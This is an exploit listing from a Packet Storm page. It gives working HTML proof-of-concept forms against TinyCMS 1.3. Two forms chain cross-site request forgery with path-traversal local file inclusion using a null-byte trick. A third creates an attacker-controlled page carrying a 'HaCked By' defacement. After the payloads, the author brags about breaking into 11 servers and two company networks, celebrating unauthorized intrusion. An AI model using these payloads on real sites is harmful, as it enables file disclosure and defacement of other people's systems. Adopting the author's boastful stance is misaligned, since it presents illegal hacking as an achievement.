exploit the possibilities

TinyCMS 1.3 CSRF / LFI / File Upload

TinyCMS 1.3 CSRF / LFI / File Upload
Posted Jun 3, 2012
Authored by KedAns-Dz

TinyCMS version 1.3 suffers from cross site request forgery, file upload, and local file inclusion vulnerabilities.

tags | exploit, local, vulnerability, file inclusion, file upload, csrf
MD5 | f7d8fffbfddf2bcf47d16ab7c7dd7150

TinyCMS 1.3 CSRF / LFI / File Upload

Change Mirror Download
# Happy Milw0rm 1337 Day!!! Congratulations all h4x0rz

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

###
# Title : TinyCMS v1.3 <= XSRF/LFI/FU Multiple Vulnerabilities
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com / @1337day.com / @exploit-id.com / @dis9.com)
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com | www.inj3ct0rs.com
# FaCeb0ok : http://fb.me/Inj3ct0rK3d
# platform : php
# Type : Multiple - Remote -
# Security Risk : Critical
# Tested on : Windows XP-SP3 (Fr) / Ubuntu 10.10
# Download : [http://tinycms.net/download/TinyCMS%201.3.zip]
###

# +> Exploit (1) LFI via XSRF =>

<-- p0c1 (admin.php)-->

<form action='http://[target]/admin/admin.php?view=admin&do=../../../../[ LFI ]%00' method='post'>
<input type='submit' value='Get/Include Local File'>
</form>

<-- p0c2 (index.php)-->

<form action='http://[target]/index.php?page=../../../../../[ LFI ]%00' method='post'>
<input type='submit' value='Get/Include Local File'>
</form>

# Exploit (2) Add/Upload/Creat New File =>

<form action='http://[target]/inc/functions.php?view=admin&do=pages&create=new&save=1' method='post'>
<strong>Page Title :</strong>
<input type="text" name="title" size="50" value='Happy Milw0rm 1337day !'>
<textarea id="elm1" name="page">
<center>
<h1> HaCked By KedAns-Dz </h1>
<h2> Happy Milw0rm 1337-Day All Hax0rS ^.^ </h2>
<h3> Greetings t0 KeyStr0ke + JF and All 0ld School ( The Milw0rm ) </h3>
</center>
</textarea>
<input type='submit' value='Upload Page'>
</form>

############# << ThE|End

# -- Hackers day and legend story: -- #
# ---- ( Milw0rm - Old School - ) ---- #
-- Hi all HaCkers !
- Happy milw0rm 1337 DAY (leet-day) for all Hax0rS ../pene-testers ../and all Inj3ct0r users (^_^)
- Today is a biiiiiiiiiiig day about History and Legend for Hacking/Pene-Testing ...
- this Day about Created and Started a legend Milw0rm (http://en.wikipedia.org/wiki/Milw0rm)
- if you a Hax0r 0r Pene-Tester ,s0 you'r know about this day and this team (milw0rm)...
- milw0rm is change my life, and our live, and inj3ct0r keep the milw0rm project and target a live <3
- So....! what you doing in this big day .....!!?

- I'm busy with work ( Mechanical of drilling-rig :p ) xD
- but i do my real job ( Penetration Testing & Hacking & pWn'd ) <3
- my Results in this day (++ i'm very busy)
- Hacking 11 servers and get RDP/local r00t ..etc..
- Hacking 2 big Networks of some Companies Here in Hassi Messaoud (Algeria)
- Discovering some vulners/bug's and make exploit/p0c ( Pene-Testing <3 <3 ^.^ )
++ and...and...and...
- !(o_O) and you ... whats a hax0r with n't Hacking in this Day !!?

<- Wishes/Greetings t0 all Milw0rm 1337 cr3w ( 0ld School )->
Keystroke, JF, ExtreemUK, savec0re, VeNoMouS

<- Wishes/Greetings t0 All Inj3ct0r 1337day cr3w ->
r0073r, Sid3^effectS, r4dc0re, CrosS, KedAns-Dz (me :p), Indoushka
KnocKout, SeeMe, Kalashinkov3, ZoRLu, anT!-Tr0J4n, Angel Injection, NuxbieCyber

<- Wishes/Greetings t0 All Algerian 1337 Hax0rS ->
Inj3ct0rs Dz: KedAns (me), Indoushka, Kalashinkov3
Caddy-Dz, Jago-dz, Kha&miX, Ev!LsCr!pT_Dz, KinG Of PiraTeS, TrOoN, T0xic, Over-X
Soucha, Chevr0sky, Black-ID, BrOx-Dz, Lagripe-dz, Ma3sTr0-Dz, Barbaros DZ, Dr.Ride
...All OthErS and All mY Friends ^.^ ! Happy Milw0rm 1337 Day !!!!!!

# ./KedAns-Dz (1, 2, 3,.. viva l'algerie)

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    12 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    16 Files
  • 22
    May 22nd
    3 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close